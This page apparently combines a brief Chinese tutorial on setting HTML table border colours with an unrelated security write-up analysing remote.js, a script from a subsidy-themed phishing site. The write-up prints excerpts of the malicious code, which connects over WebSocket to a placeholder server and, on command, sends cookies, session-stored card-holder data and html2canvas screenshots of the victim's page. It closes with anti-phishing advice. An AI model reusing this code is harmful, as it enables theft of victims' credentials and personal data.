html如何设置表格线的颜色

这篇文章主要介绍了html如何设置表格线的颜色,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

在html中,可以通过给table和td元素添加border属性来设置表格线的颜色,具体语法格式“table,td {border:边框线的宽度 样式 颜色值;}”。

本教程操作环境:windows7系统、CSS3&&HTML5版、Dell G3电脑。

给table标签使用border属性添加边框后,默认边框线的颜色为黑色:

商品价格T恤¥100牛仔褂¥250牛仔库¥150

我们可以通过css来给表格添加边框。

只对table和td标签设置border(边框)样式即可。

table,td {border:1px solid pink;}

效果图:

html有什么特点

1、简易性:超级文本标记语言版本升级采用超集方式,从而更加灵活方便,适合初学前端开发者使用。2、可扩展性:超级文本标记语言的广泛应用带来了加强功能,增加标识符等要求,超级文本标记语言采取子类元素的方式,为系统扩展带来保证。3、平台无关性:超级文本标记语言能够在广泛的平台上使用,这也是万维网盛行的一个原因。4、通用性:HTML是网络的通用语言,它允许网页制作人建立文本与图片相结合的复杂页面,这些页面可以被网上任何其他人浏览到,无论使用的是什么类型的电脑或浏览器。

感谢你能够认真阅读完这篇文章,希望小编分享的“html如何设置表格线的颜色”这篇文章对大家有帮助,同时也希望大家多多支持编程网,关注编程网行业资讯频道,更多相关知识等着你来学习!

关于近期热点补助钓鱼网站的远控JS文件分析

一、背景:

2023年5月,某公司某同事转发了一条“关于财务部2023年第二季度个人劳动补贴申领通知!”邮件。邮件标题非常吸引人,邮件附件为一个word文件,里面写有钓鱼网站的地址。访问该地址后,需要受骗者输入自己的身份证号、银行卡号及密码等敏感信息。安全意识不足的人,很容易会被以假乱真的页面吸引,输入自己的敏感资料,导致个人隐私以及财产安全受到威胁。

关于这类诈骗,百度上已经可以搜索到很多的预警了。

二、正文:

目前已经有安全厂商分析过此类钓鱼事件,事件模板基本上是一样的。不过这次碰见的钓鱼样本中与Websocket相关的JS文件内容有了一些变化,将原来进行 Websocket连接以及获取Cookie的一些JS代码进行了融合,并添加了屏幕截图功能,文件命名为remote.js。这个JS代码实现了比较多的功能,所以这篇文章就详细谈一谈这个remote.js文件。

当这个remote.js文件在触发了某类特殊事件时会进行数据传输。下面将分四个部分进行主要的代码分析,主要内容流程图如下图1:

图1

1) 建立Websockect通信:

wss 表示在 TLS 之上的 WebSocket,相当于 HTTPS。

wsUrl="wss://服务端URL"; //v1.0 connect(     wsUrl,  //服务器地址     getCookie("uid"), //用户标识cookie     window.sessionStorage.getItem("upuserId")//获取session );

connect方法部分内容如下。先实例化一个WebSocket对象连接到服务器地址。当WebSocket创建成功时,触发onopen事件,发送2条消息。第一条:Cookie(uid)、Session(adminId)以及会话存储对象中wherePage的值;第二条:{“state“:3}。

function connect(server, uid, adminId) {     ws = new WebSocket(server); //创建连接对象     ws.onopen = function() {   //当WebSocket创建成功时,触发onopen事件,         ws.send("{\"state\":0,\"type\":\"client\",\"uid\":\"" + uid + "\",\"adminId\":\"" +     adminId + "\",\"currentPage\":\""+window.sessionStorage.getItem("wherePage")+"\"}"); //将消息发送到服务端         ws.send("{\"state\":3}"); //向在线的服务端打招呼     } };

这里连接就算完成了,并向服务端打了个招呼。

1) onmessage事件触发数据传输

当客户端收到服务端发来的消息时,触发Websocket的onmessage事件,会收到服务端发送的参数e.data。e.data 被进行JSON 解析并赋值给json参数,这里谈一下较为危险的json.state==8和json.state==1这两种情况。

ws.onmessage = function(e) {     //当客户端收到服务端发来的消息时,触发onmessage事件,参数e.data包含server传递过来的数据     try {         var json = $.parseJSON(e.data);          ……         //图像传输请求         if (json.state == 1) {             run();         }        ……         //接收信息         if(json.state == 8){           ……         }            …… }

情况1:json.state==8:(发送cardData数据的过程)

代码片段如下。将页面上的第一个 iframe 元素的结果存储在变量 obj 中。通过 obj[0].contentWindow 获取 iframe 元素的内容窗口对象,并将其存储在变量 frameWin 中。接着调用了 frameWin 对象上的 currentPageJump() 方法,并将 json.data 作为参数传递进去。接着获取会话存储里面的cardData,将cardData解析为 JSON 对象。创建一个新的对象data{“state”:9, “username”:cardData.userName}然后发送给服务端。

简单来说就是从会话存储里提取了cardData的userName信息发送给服务端。

if(json.state == 8){     obj = $("iframe").eq(0)     frameWin = obj[0].contentWindow     frameWin.currentPageJump(json.data);     var cardData=window.sessionStorage.getItem("cardData");     cardData=JSON.parse(cardData);     var data={"state":9,"userName":cardData.userName}; //信息已经接收     ws.send(JSON.stringify(data)); //信息已经接收
}

情况2:json.state==1:(发送屏幕截图的过程)

if (json.state == 1) {     run(); }

执行run函数,可以看到 photo为true。

function connect(server, uid,adminId) {     ……     var photo = true; //默认单图模式     ……     //循环发送图像     function run() {       ……}……}

进入run函数,photo为true,调用了SendscreenImg函数(截图发送函数)。

function run() {     if (photo){         SendscreenImg();//发送图像数据     }else{        ……     } }

进入SendscreenImg函数:

function SendscreenImg() {     //doc:http://html2canvas.hertzen.com/configuration     html2canvas($('iframe')[0], {         //一些html2canvas库配置     }).then(canvas => {         //函数使用了 html2canvas 库,该库可以将指定的 HTML 元素转换为 Canvas 元素,从而实现屏幕截图的功能。         var canvasWidth = canvas.width; //获取屏幕图像宽度         var canvasHeight = canvas.height; //获取屏幕图像高度
var base64Img = canvas.toDataURL('image/png'); //获取图像BASE var imgbStr = atob(base64Img.split(',')[1]); //获取图像数据流 if (photo){ //判断是否为单图模式 ws.send("{\"state\":1,\"data\":\"" + base64Img + "\"}"); //发送图像数据 }else{ if (base64Img != Lastbase64) { Lastbase64 = base64Img; ws.send("{\"state\":1,\"data\":\"" + base64Img + "\"}"); //发送图像数据 } } }); }

这里使用了 html2canvas 库来实现屏幕截图的功能。html2canvas 是一个 JavaScript 库,用于将网页的指定区域转换为 canvas元素,实现将网页内容截图的功能。canvas 元素是 HTML5 中引入的一个标签,用于在网页上绘制图形、图像和动画等可视化内容。

canvas元素的toDataURL() 方法将 canvas 元素中的base64 格编码的图像数据转换为一个数据 URL(格式为image/png)。

var imgbStr = atob(base64Img.split(',')[1]); //获取图像数据流。atob() 方法用于对 Base64 编码的数据进行解码,将其转换为二进制数据。将获取到的Base64 编码字符串的第二部分(也就是实际的图像数据部分)进行解码。该功能应该是在服务端才会使用。

接着进行判断photo,为true,则直接发送参数base64Img的值。

这段代码实现了将客户端的网页截图编码后发送给服务器端。

3) Visibilitychange事件触发窗口旋转

visibilitychange 是一个事件,它在网页的可见性状态发生改变时触发。当用户切换浏览器标签、最小化窗口、切换到其他应用程序等操作时,浏览器窗口的可见性状态会发生变化,然后就会触发相关代码。

document.addEventListener("visibilitychange", function () {     if (!document.hidden) {         connect(             wsUrl,  //服务器地址             getCookie("uid"), //用户标识             window.sessionStorage.getItem("upuserId")         );         obj = $("iframe").eq(0)         frameWin = obj[0].contentWindow         frameWin.rotate();     } else {         ws.close();     } });

代码总体来看没有什么危险的操作,就是用来提升用户体验的。

obj[0].contentWindow 获取 iframe 元素的内容窗口对象,并将其存储在变量 frameWin 中。接着调用 frameWin.rotate() 方法,执行对内容窗口中的旋转操作。

1) 其他的功能点

这段代码也是会发送一些数据给服务器,需要其他代码调用到这个sendCurrentPage函数。

sendCurrentPage函数会先判断会话存储(session storage)中dataIsSubmit的值以及isRefresh的值,若都为true且Websocket还在连接中,则会发送data数据(包含Cookie、会话存储里的wherePage内容)。JSON.stringify(data) 将会把 JavaScript 对象转换为 JSON 字符串,以便通过 WebSocket 连接发送到服务器。

function sendCurrentPage(){     if(window.sessionStorage.getItem("dataIsSubmit")=="true"){         if(window.sessionStorage.getItem("isRefresh")=="true"){             window.sessionStorage.setItem("isRefresh",false);             var token=window.sessionStorage.getItem("upuserId");             var data={'state':4,'type':'client',"token":token,'uid':userCookie(),"currentPage":window.sessionStorage.getItem("wherePage")};             if(ws!=null){                 try{                     ws.send(JSON.stringify(data));                 }catch(e){                     window.setTimeout(function(){                         ws.send(JSON.stringify(data));
},2000) }
}
}
} }

三、总结

这段用来进行Websocket通信的remote.js代码,在建立Websocket通信后,攻击者通过服务端的指令触发相应的危险函数,通过获取会话存储以及网页截图的方法,将获取到的敏感信息传送到服务端,非法利用获取到的敏感信息,对受害者个人隐私以及财产安全造成了严重的危害。

四、寄语:

钓鱼诈骗在我们生活中无处不在,我们大家都需要有一双慧眼。在收到邮件等信息前,一定要先确认发件人、发送内容与附件、接收人这些因素组合起来是否合理。对陌生的网页链接要保持质疑态度,如果不确定,可以在百度直接搜索该URL,若查询不到任何信息,那就很大概率是钓鱼。

手机可以在自带应用市场里搜索下载国家反诈中心,开启相关电话与短信防诈骗功能,来减少被短信诈骗、电话诈骗等风险。希望我们大家都能火眼金睛,识别钓鱼诈骗,保护我们的隐私与财产安全!

本站内容来自用户投稿,如果侵犯了您的权利,请与我们联系删除。联系邮箱:835971066@qq.com

本文链接:http://news.xiuzhanwang.com/post/1488.html

发表评论

评论列表

还没有评论,快来说点什么吧~

友情链接: